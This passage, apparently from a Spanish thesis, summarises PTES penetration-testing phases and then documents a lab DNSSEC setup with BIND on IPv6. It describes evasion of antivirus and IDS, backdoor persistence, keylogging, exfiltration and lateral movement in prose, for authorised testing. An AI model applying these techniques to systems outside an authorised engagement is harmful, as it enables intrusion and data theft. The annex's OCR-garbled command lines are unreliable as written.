problema, y para investigar la potencial explotabilidad de la vulnerabilidad dentro
del alcance de la prueba de penetracion.

Explotar Bases de Datos y Modulos de Marco, Muchas bases de datos de
exploits se mantienen activamente y se puede acceder al publico en Internet. Los
investigadores de seguridad y los escritores de exploits no siempre envian su
cbdigo de explotaciéon a varios sitios, por lo que es aconsejable familiarizarse con
varios sitios y verificar cada uno de ellos para detectar posibles aplicaciones
vulnerables. Mientras que algunas bases de datos de vulnerabilidad rastrean la
disponibilidad de exploits, su cobertura suele ser incompleta y no debe
considerarse exhaustiva.

Contrasefias comunes / predeterminadas, Con frecuencia, los administradores
y técnicos eligen contrasefias débiles, nunca cambian el valor predeterminado o
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no establecen ninguna contrasefia. Los manuales para la mayoria del software y
hardware se pueden encontrar facilmente en linea y proporcionaran las
credenciales predeterminadas.

Hardening Guides / Common Misconfigurations, Uno de los principales
objetivos de las pruebas de penetracion es simular las tacticas y el
comportamiento de un atacante real. Si bien el escaneo automatico puede
reducir la ventana de tiempo de una prueba, ningln escaner puede comportarse
como un ser humano. Las guias de endurecimiento pueden ser una referencia
inestimable para un probador de penetracion.

Investigacion privada

» Configurando un entorno de réplica, Las tecnologias de virtualizacion
permiten que un investigador de seguridad ejecute una amplia variedad de
sistemas operativos y aplicaciones, sin requerir hardware dedicado. El
verificador puede usar esta maquina virtual para explorar los pardmetros de
configuracion y el comportamiento de la aplicacién, sin conectarse
directamente al objetivo.

4. Anéalisis De Vulnerabilidad

Investigacion

» Configuraciones de prueba, Una prueba de laboratorio de VM deberia
contener imagenes base para todos los sistemas operativos comunes,
incluidos Windows XP, Server 2008, Debian, Red Hat y Mac OS X, entre otros
, Siempre que sea posible. Una biblioteca de VM completa en combinacion con
un entorno de VM que sea compatible con la clonacién permitira que un
probador visualice una nueva VM objetivo en minutos. Ademas, el uso de una
funcién de instantanea permitira trabajar de manera mas eficiente y reproducir
errores.

» Fuzzing o inyeccion de fallas, es una técnica de fuerza bruta para encontrar
fallas de aplicaciones mediante la presentacion programéatica de entradas
vélidas, aleatorias o inesperadas a la aplicacion.

Identificacién de avenidas / vectores potenciales, Inicie sesién o conéctese a
una aplicacion de red objetivo para identificar comandos y otras areas de
entrada. Si el objetivo es una aplicaciébn de escritorio que lee archivos y / o
paginas web, analice los formatos de archivo aceptados para avenidas de
entrada de datos.

Desmontaje y analisis de cédigo, Algunos lenguajes de programacion permiten
la descompilacion, y algunas aplicaciones especificas se compilan con simbolos
para la depuracion. Un examinador puede aprovechar estas caracteristicas para
analizar el flujo del programa e identificar posibles vulnerabilidades
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5. Explotacién

Propoésito

La fase de explotacion de una prueba de penetracion se centra Unicamente en
establecer el acceso a un sistema o recurso al eludir las restricciones de
seguridad. Si la fase anterior, el anadlisis de vulnerabilidad se realizo
correctamente, esta fase debe estar bien planificada y una huelga de precision.
El objetivo principal es identificar el punto de entrada principal en la organizacion
e identificar los activos objetivo de alto valor.

Contramedidas

Las contramedidas se definen como tecnologia preventiva o controles que
dificultan la capacidad de completar exitosamente una avenida de
explotacion. Esta tecnologia podria ser un Sistema de Prevencion de Intrusos
Basado en el Host, Guardia de Seguridad, Cortafuegos de Aplicacion Web u
otros métodos preventivos.

PTES nos presenta a tener en cuentas las siguientes contramedidas como : Anti-
Virus (El antivirus es una tecnologia destinada a evitar la implementacién de
software malicioso en el sistema. ), Codificacién (La codificacion es el método de
ofuscacion de datos de una manera que hace que la pieza implementada de
cbdigo no aparezca igual, Embalaje(El empaquetado es similar a la codificacion
en cierto sentido, ya que intenta reorganizar los datos para comprimir la
aplicacién o "empaquetarla), Encriptado (El cifrado, como la codificacién y el
empaquetado, es otro método para manipular el cédigo ejecutable deseado de
modo que no sea reconocible o esté disponible para su inspeccion.), entre otros.

Evasién

La evasion es la técnica utilizada para escapar de la deteccion durante una
prueba de penetracidon. Esto podria eludir un sistema de camara para no ser
visto por un guardia, ofuscando sus cargas para evadir sistemas de deteccion de
intrusos (IDS) o sistemas de prevencion de intrusiones (IPS) o solicitudes /
respuestas de codificacion para eludir los firewalls de aplicaciones web. En
general, la necesidad de identificar un escenario de bajo riesgo para evadir una
tecnologia o persona debe formularse antes del exploit.

Golpe de precisién

El foco principal de una prueba de penetracion es simular un atacante para
representar un ataque simulado contra la organizacién. Este enfoque puede ser
particularmente util al final de una prueba de penetracion para medir el nivel de
respuesta a incidentes de la organizacién, pero en la mayoria de los casos la
fase de explotacion es una acumulacion de investigacion especifica sobre el
objetivo.

Avenida de explotacion personalizada
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Por lo general, cada ataque no sera el mismo en la forma en que se produce la
avenida de explotacion. Para tener éxito en esta fase, el ataque debe
personalizarse y personalizarse segun el escenario.

Explotaciones a medida

En varias ocasiones, los exploits que son publicos en Internet pueden necesitar
algun trabajo para completarlos con éxito. En la mayoria de los casos, si un
exploit esta disefiado para Windows XP SP2, se requeriran modificaciones
especificas al exploit para que el ataque sea exitoso a través de Windows XP
SP3.

Angulo de dia cero

En la mayoria de los casos, el angulo de dia cero es a menudo el dltimo recurso
para la mayoria de los probadores de penetracién. Este tipo de ataque a menudo
representa una organizacion altamente avanzada que puede manejar un ataque
enfocado contra la organizacion a través de métodos de ataque normales.

Ejemplo de avenidas de ataque

Los ataques deberian consistir en el escenario que esta dentro del alcance del
cCoOmpromiso.

Objetivo general

En la fase de interaccion previa al compromiso con el cliente, se deberia haber
comunicado una definicién clara de los objetivos generales de la prueba de
penetracion. En el caso de la fase de explotacion, el mayor desafio es identificar
la menor via de resistencia en la organizacién sin deteccién y teniendo el mayor
impacto en la capacidad de las organizaciones para generar ingresos.

6. Explotacién Posterior

Proposito

El objetivo de la fase posterior a la explotacidbn es determinar el valor de la
maquina comprometida y mantener el control de la maquina para su uso
posterior. El valor de la maquina estd determinado por la sensibilidad de los
datos almacenados en él y la utilidad de las maquinas para comprometer aun
mas la red.

Reglas de compromiso

Las siguientes Reglas de compromiso son especificas de la fase posterior a la
explotacion de una prueba de penetracion y tienen por objeto garantizar que los
sistemas del cliente no estén sujetos a riesgos innecesarios por las acciones de
los evaluadores
e Reglas de para Proteger al cliente, se usan como una guia de reglas para
establecer con un cliente para garantizar que las operaciones diarias y los
datos del cliente no estén expuestos al riesgo
e Reglas para protegerse, debe asegurarse de cubrir todas sus bases al
tratar con el cliente y las tareas que realizara. Discuta lo siguiente con el
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cliente para garantizar una comprension clara de los roles y las
responsabilidades del cliente y del proveedor antes de comenzar cualquier
trabajo.

Andlisis de infraestructura

Durante el analisis de infraestructura se debe de considerar diferentes aspectos:

e Configuracion de la red, La configuracion de red de una maquina
comprometida se puede usar para identificar subredes adicionales,
enrutadores de red, servidores criticos, servidores de nombres vy
relaciones entre maquinas.

> Interfaces, Identifique todas las interfaces de red en la maquina
junto con sus direcciones IP, mascaras de subred y puertas de
enlace. Al identificar las interfaces y la configuracion, las redes y
los servicios se pueden priorizar para la orientacion.

» Enrutamiento, El conocimiento de otras subredes, los esquemas
de filtrado o de direccionamiento podrian aprovecharse para
escapar de una red segmentada, lo que lleva a hosts y / o redes
adicionales para sondear y enumerar.

» Servidores DNS, ldentifique todos los servidores DNS en uso,
evaluando la configuracion del host. Los servidores DNS vy la
informacion se pueden usar para desarrollar y ejecutar un plan
para descubrir hosts y servicios adicionales en la red obijetivo.

» Entradas DNS en caché, ldentifique las entradas de DNS de alto
valor en la memoria caché, que pueden incluir paginas de inicio
de sesidn para sitios de Intranet, interfaces de administracion o
sitios externos

» Servidores Proxy, Identificar servidores proxy a nivel de red y de
aplicacion. Los servidores proxy son buenos objetivos cuando el
cliente usa la empresa en general. En el caso de los proxies de
aplicacion, puede ser posible identificar, modificar y / o controlar
el flujo de tréafico, o el trafico en si.

> Entradas ARP, Enumere entradas de tabla ARP estéticas y en
caché, que pueden revelar otros hosts que interactian con la
maquina comprometida. Las entradas ARP estaticas pueden
representar maquinas criticas.

Analisis de infraestructura
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Servicios de red

» Servicios de escucha, Identifique todos los servicios de red ofrecidos por la
maquina de destino. Esto puede llevar al descubrimiento de servicios no
identificados por el escaneo inicial, asi como el descubrimiento de otras
maquinas y redes.

» Conexiones VPN, Deben identificarse todas las conexiones VPN dentro y
fuera de la maquina o red de destino. Las conexiones de salida pueden
proporcionar rutas a nuevos sistemas que pueden no haberse identificado
previamente.

» Directorio de Servicios, Un host dirigido que ejecute servicios de directorio
puede brindar una oportunidad para enumerar cuentas de usuario, hostsy /o
servicios que pueden usarse en ataques adicionales o proporcionar objetivos
adicionales que pueden no haberse descubierto previamente en la fase de
andlisis de vulnerabilidad.

Vecinos, En la red actual, muchos servicios y sistemas operativos utilizan una
serie de protocolos para el descubrimiento de vecinos en un esfuerzo por hacer
gue el acceso a los servicios, la resolucién de problemas y la configuracién sean
mA&s convenientes. Los protocolos varian segun el tipo de host de destino.

Expoliacién

Se refiere a la obtencion de informacién (es decir, archivos que contienen
informacion personal, informacién de tarjetas de crédito, contrasefias, etc.) de
servidores especificos relevantes para los objetivos definidos en la fase de pre
evaluacion.

e Programas instalados
> Articulos de inicio, La mayoria de los sistemas tendran aplicaciones que se
pueden ejecutar al inicio del sistema o en el inicio de sesién del usuario que
pueden proporcionar informacién sobre el propésito del sistema, software y
servicios con los que interactua.

e Servicios instalados, Los servicios en un host particular pueden servir al
propio host u otros hosts en la red objetivo. Es necesario crear un perfil de
cada host especifico, teniendo en cuenta la configuracion de estos servicios,
su proposito y como pueden ser potencialmente utilizados para alcanzar los
objetivos de evaluacion o penetrar mas en la red.

» Servicios de seguridad, Los servicios de seguridad comprenden el software
disefiado para mantener a un atacante fuera de los sistemas y mantener la
seguridad de los datos. Estos incluyen, entre otros, cortafuegos de red,
cortafuegos basados en host, IDS / IPS, HIDS / HIPS y antivirus
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» Acciones de archivo / impresora, Los servidores de archivos e impresion a
menudo contienen datos especificos o brindan la oportunidad de penetrar

aun mas la red y los hosts objetivo, informacién en bases de datos, tablas,
etc.
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» Servidores de directorio, Los objetivos principales de un servicio de directorio
es proporcionar informacion a los servicios y hosts para referencia o
autenticacion. EI compromiso de este servicio puede permitir el control de
todos los hosts que dependen del servicio y también proporcionar informacion
que podria usarse para promover un ataque.

» Servidores de nombre, El servidor de nombres brinda resolucion al host y a los
servicios en funcion de los tipos de registros que sirve. La enumeracion de
registros y controles puede proporcionar una lista de objetivos y servicios para
priorizar y atacar a fin de penetrar ain mas la red y los hosts de los clientes.

> Servicios de implementacién, La identificacibn de los servicios de
implementacion permite el acceso y la enumeracion de: Archivos de respuesta
desatendida, Permiso en archivos, Actualizaciones incluidas y Aplicaciones y
versiones

» Autoridad certificada, La identificacion de los servicios de la Autoridad de
certificacién en un host cliente comprometido permitira el acceso a : Root CA,
Certificados de firma de cédigo, Certificados de cifrado y firma

Entre otras servicios como : Servidor de gestion de codigo fuente, Servidor de
configuracion de host dindmico, Virtualizacién, Mensajes, Monitoreo y
gestion, Sistemas de respaldo y Servicios de red (RADIUS, TACACS..etc)

Informacion delicada

» Key-logging, Al monitorear las pulsaciones de teclas, es posible detectar
informacion confidencial, incluidas contrasefias y PII.

» La captura de pantalla, se puede usar para mostrar evidencia de compromiso,
asi como el acceso a la informacion que se puede mostrar en la pantalla y el
acceso a través de otros medios no es posible.

Entre otros como : captura de trafico en la red

e Informacion del usuario, En esta seccion, el enfoque principal es la
informacién presente en el sistema objetivo relacionada con las cuentas de
usuario presentes en el sistema o que se han conectado de forma remota y
han dejado alguna huella que el personal que realiza la evaluacion puede
recopilar y analizar para una mayor penetracibn o proporcionar el objetivo
deseado de la evaluacion

» En sistema, La informacion general que se puede recopilar en un sistema
comprometido como documentos, claves de cifrado, etc.

» Navegadores web, La informacion que puede obtenerse de los navegadores
web y que puede usarse para identificar otros hosts y sistemas, asi como
proporcionar informacion para penetrar aun mas la red y los hosts de un
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cliente, como: historial de navegacion, marcadores, etc.

> Clientes IM, La informacion que se puede recopilar de los clientes de
mensajeria instantanea en un sistema comprometido es: Enumerar
configuracion de cuenta (usuario, contrasefia, servidor, proxy) y Registros de
chat

Objetivos de alto valor / perfil

Los objetivos de alto valor / perfil se pueden identificar y expandir desde los
objetivos identificados en las reuniones previas al compromiso a través del
analisis de los datos recopilados de los sistemas comprometidos y las
interacciones de esos sistemas y los servicios que se ejecutan en ellos.

Exfiltraciéon de datos

e Mapeo de todas las posibles rutas de exfiltracién, de cada una de las areas
donde se ha logrado el acceso, se deben crear rutas de exfiltracion completas.
Esto incluye medios secundarios y terciarios para llegar al mundo exterior (a
través de diferentes subredes accesibles, etc.).

e Probando rutas de exfiltracion, Segun el mapeo de rutas de exfiltracion, los
datos deben ser extraidos de la organizacion que se esta probando.

e Medir las fortalezas de control, Al realizar pruebas de exfiltracion,
el objetivo principal de la prueba es ver si realmente funcionan los
controles actuales para detectar y bloquear informacion sensible
que deja la organizacion, asi como ejercitar los equipos de
respuesta si se ha detectado algo en términos de cdmo reaccionan
a tales alertas y como se investigan y mitigan los eventos.

Persistencia

e Instalacion de puerta trasera que requiere autenticacion.

e Instalacion y / o modificacion de servicios para conectar nuevamente al
sistema. El usuario y la contrasefia compleja deben usarse como minimo; se
prefiere el uso de certificados o0 claves criptograficas cuando sea
posible. (SSH, ncat, RDP). Se pueden usar conexiones inversas limitadas a
una sola IP.

e Creacion de cuentas alternativas con contrasefias complejas.

e Cuando sea posible, la puerta trasera debe sobrevivir al reinicio.

Penetracion adicional en la infraestructura

Es la accion en la cual el probador usard su presencia en el sistema
comprometido para enumerar y obtener acceso a otros sistemas en la
infraestructura del cliente. Esta accion se puede ejecutar desde el propio host
comprometido usando recursos locales o herramientas cargadas al sistema
comprometido.

e Del sistema comprometido, Acciones que pueden tomarse de un sistema
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comprometido: Herramientas de carga, Usa las herramientas del sistema
local, Escaneo ARP, Ping Sweep, Enumeracién de DNS de la red interna,
Enumeracion de servicios de directorio, Ataques de fuerza bruta, Enumeracion
y administracién a través de protocolos de administracion y credenciales
comprometidas (WinRM, WMI, SMB, SNMP..etc), Abuso de credenciales y
claves comprometidas (paginas web, bases de datos, etc.), Ejecutar exploits
remotos

e A través de un sistema comprometido, Acciones que pueden tomarse a traves
de un sistema comprometido: Reenvio de puertos, Proxy a la red interna
(SSH), VPN a la red interna, Ejecutar Exploit Remoto, Abuso de credenciales
y claves comprometidas (paginas web, bases de datos, etc.)

Limpieza

El proceso de limpieza cubre los requisitos para los sistemas de limpieza una vez

gue se ha completado la prueba de penetracion. Esto incluird todas las cuentas

de usuario y binarios utilizados durante la prueba.

e Elimine todos los ejecutables, scripts y archivos temporales de un sistema
comprometido. Si es posible, use el método de eliminacion segura para
eliminar los archivos y las carpetas.

e Vuelva a la configuracion del sistema de valores originales y los
pardmetros de configuracion de la aplicacion si fueron modificados
durante la evaluacion.

e Elimine todas las puertas traseras y / o rootkits instalados.

e Elimine todas las cuentas de usuario creadas para conectarse

nuevamente a los sistemas de compromiso.

7. Informe

En esta seccion se definir los criterios basicos para los informes de pruebas de
penetracion. Si bien se recomienda enfaticamente utilizar su propio formato
personalizado y de marca, las siguientes recomendaciones deben de
proporcionar una comprension de alto nivel de los elementos requeridos dentro
de un informe, asi como una estructura para que el informe proporcione valor al
lector.

e El informe se divide en dos (2) secciones principales para comunicar los
objetivos, métodos y resultados de las pruebas realizadas a varias audiencias.

e El informe ejecutivo, comunicara al lector los objetivos especificos de la
prueba de penetracion y los hallazgos de alto nivel del ejercicio de prueba, el
resumen ejecutivo debe contener la mayoria, si no todas, las siguientes
secciones:

» Fondo: seccion de antecedentes que deben de explicar al lector el propdsito
general de la prueba
» Postura general: En esta se hace una narrativa de la efectividad general de
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la prueba y la capacidad de los examinadores para lograr los objetivos
establecidos en las sesiones previas a la participacion.

Clasificacion / perfil de riesgo: En la seccidon previa a la participacion, el
Pentester identificar4 el mecanismo de puntuacion y el mecanismo individual
para el seguimiento / clasificacion del riesgo. Varios métodos de FAIR,
DREAD vy otros rankings personalizados se consolidaran en puntajes
ambientales y se definiran.

Hallazgos generales: Los hallazgos generales proporcionardn una sinopsis
de los problemas encontrados durante la prueba de penetracion en un formato
bésico y estadistico

Resumen de recomendaciones: La seccion de recomendaciones del informe
debe proporcionar al lector una comprensién de alto nivel de las tareas
necesarias para resolver los riesgos identificados y el nivel general de
esfuerzo requerido para implementar la ruta de resolucion sugerida.

Hoja de ruta estratégica: Las hojas de ruta deben incluir un plan priorizado
para la remediacion de los elementos inseguros encontrados y deben
sopesarse con los objetivos / nivel de impacto potencial del negocio.

Reporte técnico, Esta seccidbn comunicard al lector los detalles técnicos de la
prueba y todos los aspectos / componentes acordados como indicadores
clave de éxito dentro del ejercicio previo a la participacién. La seccién de
informe técnico describira en detalle el alcance, la informacion, la ruta de
ataque, el impacto y las sugerencias de correccién de la prueba.
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ANEXO 2
ESCENARIO DE PRUEBAS CONTROLADO

1. CONFIGURACION DEL SERVICIO DNSSEC EN REDES IPV6

El siguiente anexo contiene informacidn correspondiente sobre la configuracion de
DNSSEC en redes IPv6, en los servidores de la red interna CAFE
(dnsl.bancodk.com y transacciones.bancodk.com, Servidor Caché validador), y la
red externa es decir, se implementé DNSSEC en todos los servidores involucrados
en la jerarquia DNS del escenario de pruebas controlado. Las configuraciones se
llevaron a cabo en los sistemas operativos Debian 9.4 Stretch, Windows Server
2012 y Centos 7. Cabe resaltar que la configuracion DNSSEC se realiz6 utilizando
los comandos nativos provistos por BIND en las distribuciones Linux Debian Y
Centos.

La implementacion de DNSSEC para el escenario propuesto,en todos los sitemas
operativos, se resume en los siguientes pasos:

* Generacién de claves de firmado publica/privada ZSK y KSK.

» Publicacion de claves publica ZSK y KSK en archivo de zona.

* Firmado del archivo de zona con clave privada ZSK., el proceso de firmado
se realizd utilizando el algoritmo SHA-256, con los registros NSEC vy
NSECS3.

* Publicacion de archivo DS en el nivel o zona padre.

» El proceso la publicacién del registro DS se realizo desde el nivel hijo hacia
el nivel padre, en los servidores de la red interna como externa.

« Configuraciéon de clave publica de validacién inicial, para todos los
servidores de la jerarquia, incluidos recursivo y resolver.

+ Esta clave se almacenada en el servidor cache recursivo o cliente, para
realizar el proceso de validacion DNSSEC de una respuesta DNS.

Una vez configurado DNSSEC en cada uno de los servidores, se realizan las
pruebas de funcionamiento por medio de consultas DNSSEC con el comando dig,
para comprobar que el servicio de DNSSEC esta activo.



1. CONFIGURACION DE DNSSEC EN LOS SERVIORES DE LA RED
INTERNA CAFE

Para crear una delegacién segura de los dominios internos de la organizacion de

la red interna CAFE, primero se realizd el proceso de firmado del subdominio

transacciones.bancodk.com del servidor autoritario

dnsl.transacciones.bancodk.com, para posteriormente publicar su registro DS en

el servidor padre dnsl.bancodk.com, y realizar el proceso de firmado del dominio

bancodk.com, para que finalmente el servidor caché validador pueda almacenar la

clave publica del dominio bancodk.com para validar los dominios firmados de la

organizacion.

1.1 Configuracion de DNSSEC en el servidor
dnsl.transacciones.bancodk.com en el sitema operativo Linux Debian
9.4 stretch:

Archivos de BIND antes de la configuracion de DNSSEC:

root@dnsl:/etc/bind# 1s

bind.keys db.empty db.transacciones named.conf.options
db.0 db.local named.conf rndc. key

db.127 db.revtransacciones named.conf.default-zones zones.rfcl918
db.255 db.root named.conf.local

Se habilita DNSSEC en el archivo named.conf.options:

GNU nano 2.7.4 Fichero: named.conf.options

dnssec-enable yes;
dnssec-validation yes;
auth-nxdomaln no; # conform to RFCLO35

Se generan las claves:

root@dnsl:/etc/bind/keys# dnssec-keygen -a NSEC3RSASHALl -b 1024 -n ZONE networks.com

Generating key pair..... e 4+

Knetworks.com.+007+03452

root@dnsl:/etc/bind/keys# dnssec-keygen -T KSK -a NSEC3RSASHALl -b 2048 -n ZONE networks.com
Generating key pair........ P 4
Knetworks.com.+807+07011

Ahora se ingresa al archivo de zona directa db.transacciones y con el comando
$INCLUDE, se incluyen las claves publicas (zsk y ksk) como se muestra a
continuacion:

GNU nano 2.7.4 Fichero: db.transacciones

$INCLUDE fetc/bind/keys/Ktransacciones.bancodk.com.+007+17147.key
$INCLUDE fetc/bind/keys/Ktransacciones.bancodk.com.+007+20319.key




Ahora si se firma el dominio con el siguiente comando:

El —g para que se carguen los registros DS:

root@dns1:/etc/bind# dnssec-signzone -t -g -0 transacciones.bancodk.com db. transacciones /etc/bind/keys/Kiransacciones.bancodk.con®,private

Se puede ver que el dominio bancodk.com estéa firmada:

Verifying the zone using the
Zone Tully signed:

following algorithms: NSEC3RSASHAL.

Algorithm: NSEC3RSASHAl: KSKs: 1 active, O stand-by, @ revoked
Z5Ks: 1 active, 0 stand-by, 0 revoked

db.transacciones.signed

Signatures generated: 10

Signatures retained: 6]

Signatures dropped: 6]

Signatures successTully verified: 6]

Signatures unsuccessfully verified: Q

Signing time in seconds: 0.003

Signatures per second: 2676.659

Runtime in seconds: 0.040

root@dnsl:/etc/bind# |}

Ahora se listan los archivos y se puede ver que se han generado el archivo DS de

la zona transacciones:
root@dnsl:/etc/bind# 1s

bind.keys db.255 db. revtransacciones
db.0 db.empty db.root

db.transacciones.signed
dsset-transacciones.bancodk.con.

named.conf
named.conf.default-zones

named.conf.options
rndc. key

db. 127 db.local db.transacciones
root@dnsl:/etc/bind# i

Keys

named.conf.local zones.rfcl918

Se puede ver que se han generado el archivo DS de la zona transacciones:

root@dnsl:/etc/bind# -

kat gdsset-transacclones.bancodk. conl
transacciones.bancodk.com. IN DS 20319 7 1 51E6D1AB1B97DDF5D853324E6A84E40FOE28DIAC
transacciones.bancodk.com. IN DS 20319 7 2 911330FFF634E2A1A6902D1AB723AF575A018E42E546C5EAAEFBFIED 9547C22C

root@dnsl:/etc/bind# ]

Una vez hecho lo anterior, se reinicia el servicio de BIND

root@dnsl:/etc/bind# /etc/init.d/bind9 restart
[ ok ] Restarting bind9 (via systemctl): bind9.service.
root@dnsl:/etc/bind# /etc/init.d/bind9 status

Y se comprueba su estado:

root@dnsl:/etc/bind# /etc/init.d/bind9 status
bind9.service - BIND Domain Name Server
Loaded:
Active:
Docs:
Process:
Main PID:
Tasks:
CGroup:

man:named(8)

1796 (named)

4 (limit: 4915)
/system.slice/bind9.service
L1796 /usr/sbin/named -f -u bind

jun 04 16:47:42 dnsl.transacciones.bancodk.com named[1796]:
jun 04 16:47:42 dnsl.transacciones.bancodk.com named[1796]:
jun 04 16:47:42 dnsl.transacciones.bancodk.com named[1796]:
jun 04 16:47:42 dnsl.transacciones.bancodk.com named[1796]:
jun 04 16:47:42 dnsl.transacciones.bancodk.com named[1796]:

loaded (/lib/systemd/system/bind9.service; enabled; vendor preset: enabled)
since Mon 2018-06-04 16:47:42 -05; 105 ago

1791 ExecStop=/usr/sbin/rndc stop (code=exited, status=0/SUCCESS)

managed-keys-zone: loaded serial 276
zone @.in-addr.arpa/IN: loaded serial 1
zone 127.in-addr.arpa/IN: loaded serial 1
zone 255.in-addr.arpa/IN: loaded serial 1

zone e.7.2.¢.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.2.1.0.0.1.0.0.2.ip6.arpa/IN: 10a.18032101
jun 04 16:47:42 dnsl.transacciones.bancodk.com named[1796] { zone Transacciones.bancodk.com/IN: loaded serial 2018832101 (DNSSEC siﬁned

jun 04 16:47:42 dnsl.transacciones.bancodk.com named[1796] :
jun 04 16:47:42 dnsl.transacciones.bancodk.com named[1796]:
jun 04 16:47:42 dnsl.transacciones.bancodk.com named[1796]:
jun 04 16:47:42 dnsl.transacciones.bancodk.com named[1796]:
Hint: Some lines were ellipsized, use -1 to show in full.
root@dnsl:/etc/bind# I

zone localhost/IN: loaded serial 2

all zones loaded

running

zone e.7.a2.¢.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.2.1.0.0.1.0.0.2.1ip6.arpa/IN: sen..8832101)
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1.2 Configuracion de DNSSEC en el servidor dnsl.bancodk.com en el sitema
operativo Linux Debian 9.4 stretch:

Se habilita DNSSEC en el archivo named.conf.options:

GNU nano 2.7.4 Fichero: named.conf.options

options {
directory "/var/cache/bind";

//version "No disponible";

listen-on-v6 port 53 { any; }; # valor por defecto, pero es mejor ponerlo
allow-query { localhost; any; };

allow-transfer { none; };

recursion no;
// minimal-responses yes;

dnssec-enable yes;
dnssec-validation yes,
auth-nxdomaln no; # conform to RFC1035

b

Segeneran las claves

root@dnsl:/etc/bind# cd keys

root@dnsl:/etc/bind/keys# dnssec-keygen -a RSASHA256 -b 2048 -n ZONE bancodk.com

GeNerating KeY Pair. .o ittt sttt i e L +4+
Kbancodk.com.+008+59571

root@dnsl:/etc/bind/keys# dnssec-keygen -T KSK -a RSASHA256 -b 4096 -n ZONE bancodk.com

Generating key pair......... ..o, e

Kbancodk.com.+008+18832
root@dnsl:/etc/bind/keys# chmod 640 /etc/bind/keys/{*.key,*.private}
root@dnsl:/etc/bind/keys# chgrp bind /etc/bind/keys/{*.key,*.private}

Se asignan permisos para las claves:

root@dnsl:/etc/bind/keys# chmod 640 /etc/bind/keys/{*.key,*.private}
root@dnsl:/etc/bind/keys# chgrp bind /etc/bind/keys/{*.key,*.private}

root@dnsl:/etc/bind/keys# 1s
Kbancodk.com.+008+18832. key Kbancodk.com.+008+59571 . key
Kbanchk:cqm.+qg3+13332.griqate Kbancodk.com.+008+59571.private

Ahora se ingresa al archivo de zona directa db.transacciones y con el comando
$INCLUDE, se incluyen las claves publicas (zsk y ksk) como se muestra a
continuacion:

$INCLUDE /etc/bind/keys/Kbancodk.com.+008+18832.key
$INCLUDE /etc/bind/keys/Kbancodk.com.+008+59571.key




Primero se publica el registro DS del ubdominiotransacciones.bancodk.com

root@dnsl:/etc/bind# 1s
bind.keys db.127 db.bancodk db.local I db. root keys named. conf.default-zones named.conf.options zones.rfc1918
db. 0 db.255 db.empty  db.revbancodl dsset-transacciones.bancodk.com.] named.conf named.conf.local rndc. key

root@dnsl:/etc/bind#

Se firma la zona y se puede ver que el dominio bancodk.com esta firmado:

tc/bipd# dnséebrsignzcne -3 200112027000CAFE -H 20 -A -t -g -o bancodk.com db.bancodk /etc/bind/keys/Kbancodk.cch*.private
using the following algorithms: RSASHA256.

17
Algorithm: RSASHA256: KSKs: 1 active, 8 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked

db.bancodk.signed

Signatures generated: 17
Signatures retained: 0
Signatures dropped: 0
Signatures successfully verified: 0
Signatures unsuccessfully verified: 0
Signing time in seconds: 0.063
Signatures per second: 267.708
Runtime in seconds: 0.071

root@dnsl:/etc/bind# 1s

bind.keys db db.empty keys named.conf.local zones.rfcl918
db.® db.bancodk db.local dsset-bancodk.com. named. conf named.conf.options

db.127 db.bancodk.signed| db.revbancoflk dsset-transaccioneq.bancodk.com. named.conf.default-zones rndc.key

Ahora se listan los archivos y se puede ver que se han generado el archivo DS del

dominio bancodk.com:
root@dnsl:/etc/bind# 1s

bind.keys db.bancodk db. revbancodk keys named.conf.options
db.@ .bancodk.signeyl db.root named. conf rndc. key

db.127 LEmpLy dssel-bancodk.com. named.conf.default-zones zones.rfcl918
db.255 db.local _ dsset-transacciones.bancodk.com| named.conf.local

Se puede ver que se han generado el archivo DS de la zona bancodk.com:

root@dnsl:/etc/bind# cat dsset-bancodk.con.
bancodk. con. IN DS 18832 8 1 19B3DAGD39D0456C97F29EB60732722412916818
bancodk. com. IN DS 18832 8 2 2CFBFE42272174532242ABBEOFA3ACFCBSEAG2138A3DC48524BCTCOE EGFALASS

Una vez hecho lo anterior, se reinicia el servicio de BIND

root@dnsl: /etc/bind# Jetc/init.d/bind9 restart
[ ok ] Restarting bind9 (via systemctl): bind9.service.
root@dnsl: /etc/bind# Jfetc/init.d/bind9 status

Y se comprueba su estado:

root@dnsl:/etc/bind# /etc/init.d/bind9 status
bind9.service - BIND Domain Name Server
Loaded: loaded (/lib/systemd/system/bind9.service; enabled; vendor preset: enabled)
Active: since Tue 2018-06-05 12:42:56 -05; 14s ago
Docs: man:named(8)
Process: 1762 ExecStop=/usr/sbin/rndc stop (code=exited, status=0/SUCCESS)
Main PID: 1768 (named)
Tasks: 4 (limit: 4915)
CGroup: /system.slice/bind9.service
L1768 /usr/sbin/named -f -u bind

jun 85 12:42:56 dnsl.bancodk.com named[1768]: zone O.in-addr.arpa/IN: loaded serial 1

jun 05 12:42:56 dnsl.bancodk.com named[1768]: zone 127.in-addr.arpa/IN: loaded serial 1

jun 05 12:42:56 dnsl.bancodk.com named[1768]: zone 255.in-addr.arpa/IN: loaded serial 1

jun 05 12:42:56 dnsl.bancodk.com named[1768]: zone localhost/IN: loaded serial 2

jun 05 12:42:56 dnsl.bancodk.com named[1768]: zere—erfrarer8-0-0-0-0-0-0-06-0-0-0-0-0-0-072-1-0-0-1-0-82-8p6.arpa/IN: loaded serial 2018032101
jun 05 12:42:56 dnsl.bancodk.com named[1768]:|zone bancodk.com/IN: loaded serial 2818832101 (DNSSEC signed)

jun 05 12:42:56 dnsl.bancodk.com named[1768]: @ Zones Loadet

jun 85 12:42:56 dnsl.bancodk.com named[1768]: running

jun 05 12:42:56 dnsl.bancodk.com named[1768]: zone bancodk.com/IN: sending notifies (serial 2018632101)

jun 05 12:42:56 dnsl.bancodk.com named[1768]: zone e.f.a.c.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.2.1.0.0.1.0.0.2.ip6.arpa/IN: sending notifies (..018032101)
Hint: Some lines were ellipsized, use -1 to show in full

root@dnsl:/etc/bind#
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PRUEBAS DE FUNCIONALIDAD DEL SERVIDOR MAESTRO BANCODK.COM

roat@dns}:{etc{pinq# nano fetcfre;olu.cnnf

GNU nano 2.7.4 Fichero: /etc/resolv.conf

nameserver 2001:12:7000::cafe:2

Este comando muestra registros RRSIG para el registro AAAAY NS de
bancodk.com:

root@dnsl:/etc/bind# dig @2001:12:7000::cafe:2 bancodk.com DNSKEY +multiline +noall +answer

